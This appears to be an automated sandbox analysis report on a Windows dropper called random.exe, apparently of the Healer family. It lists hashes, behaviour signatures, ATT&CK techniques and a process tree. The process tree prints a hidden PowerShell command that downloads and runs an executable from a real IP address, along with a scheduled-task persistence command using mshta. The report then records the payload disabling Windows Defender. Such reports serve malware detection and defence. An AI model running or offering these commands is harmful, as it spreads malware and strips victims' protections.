Overview

overview

10

Static

static

5

random.exe

windows7-x64

10

random.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-02-2025 15:13

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General

  • Target

    random.exe

  • Size

    938KB

  • MD5

    35175480aaf58a493e68cb0adc722d8b

  • SHA1

    2b59ac7beda4cab50a10b0ea9a787c33151cd723

  • SHA256

    2e5e065dd96bc73491747ef2163358f9d8dd21a09f828d3d83adc5cb9a5ddafd

  • SHA512

    18b54f47363bd68636b2bab867226dca0233bceada0c06cc32487a1adcf28dc6003490fe1fe77d2ad25a876a36f0c589d5597b13dd4d1a3182ab6cb68f91f29d

  • SSDEEP

    24576:QqDEvCTbMWu7rQYlBQcBiT6rprG8aejl:QTvC/MTQYxsWR7aej

Score
10/10
healerdefense_evasiondiscoverydropperevasionexecutiontrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\random.exe
    "C:\Users\Admin\AppData\Local\Temp\random.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4944
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn 1pv5Imas5FC /tr "mshta C:\Users\Admin\AppData\Local\Temp\N5Xg4RvFT.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5084
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn 1pv5Imas5FC /tr "mshta C:\Users\Admin\AppData\Local\Temp\N5Xg4RvFT.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3860
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\N5Xg4RvFT.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1936
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'B90IUM3BBWGMHGSKKZN95JJ6DBPUQZCY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2616
        • C:\Users\Admin\AppData\Local\TempB90IUM3BBWGMHGSKKZN95JJ6DBPUQZCY.EXE
          "C:\Users\Admin\AppData\Local\TempB90IUM3BBWGMHGSKKZN95JJ6DBPUQZCY.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

5
T1562

Disable or Modify Tools

5
T1562.001

Modify Registry

5
T1112

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Discovery

Query Registry

4
T1012

System Information Discovery

3
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\TempB90IUM3BBWGMHGSKKZN95JJ6DBPUQZCY.EXE
    Filesize

    2.7MB

    MD5

    ea88f12c71ca738e6f60e6043009d593

    SHA1

    013daac987414de9ba077911bd465b48353253f0

    SHA256

    ec3a6e29f92fc7c90481d585229ed6a4ce28f0e97003b86439fbe3c53c1ada51

    SHA512

    f493c6a0ab0a1e7d8ffb071a241cc2113d312cd02064a590939cda4b8e82379142806caead7cd13f8d37b716f31f80466a8e96a523376f6743e10c87450b61e7

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\N5Xg4RvFT.hta
    Filesize

    726B

    MD5

    7778b4eda337d0354bf54d2fb62e359f

    SHA1

    d727fcc8be8ffad62b88134dea850c2dd699637f

    SHA256

    c0f176494ea51642ee4030ae8af01d230c65173b87d113b3d29cfc9f4b4161b8

    SHA512

    1cca71f9ac2c5a7700d8480b1b7d847fbc9f0c60024ecf493219b11b69a06009470610348ec7d517df7e1725a45fabfd148bd52beeb997d0cacd24dcc137cef1

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0mbfkxqb.hdj.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/2616-5-0x0000000005A20000-0x0000000005A86000-memory.dmp

    Filesize

    408KB

    Download

  • memory/2616-23-0x0000000007670000-0x0000000007706000-memory.dmp

    Filesize

    600KB

    Download

  • memory/2616-4-0x0000000005240000-0x0000000005262000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2616-3-0x0000000005280000-0x00000000058A8000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/2616-16-0x0000000005B00000-0x0000000005E54000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/2616-17-0x0000000006100000-0x000000000611E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/2616-18-0x0000000006150000-0x000000000619C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/2616-19-0x0000000007850000-0x0000000007ECA000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/2616-20-0x0000000006640000-0x000000000665A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/2616-6-0x0000000005A90000-0x0000000005AF6000-memory.dmp

    Filesize

    408KB

    Download

  • memory/2616-24-0x00000000075D0000-0x00000000075F2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2616-25-0x0000000008480000-0x0000000008A24000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/2616-2-0x0000000004B60000-0x0000000004B96000-memory.dmp

    Filesize

    216KB

    Download

  • memory/3512-36-0x0000000000350000-0x0000000000606000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/3512-39-0x0000000000350000-0x0000000000606000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/3512-40-0x0000000000350000-0x0000000000606000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/3512-42-0x0000000000350000-0x0000000000606000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/3512-45-0x0000000000350000-0x0000000000606000-memory.dmp

    Filesize

    2.7MB

    Download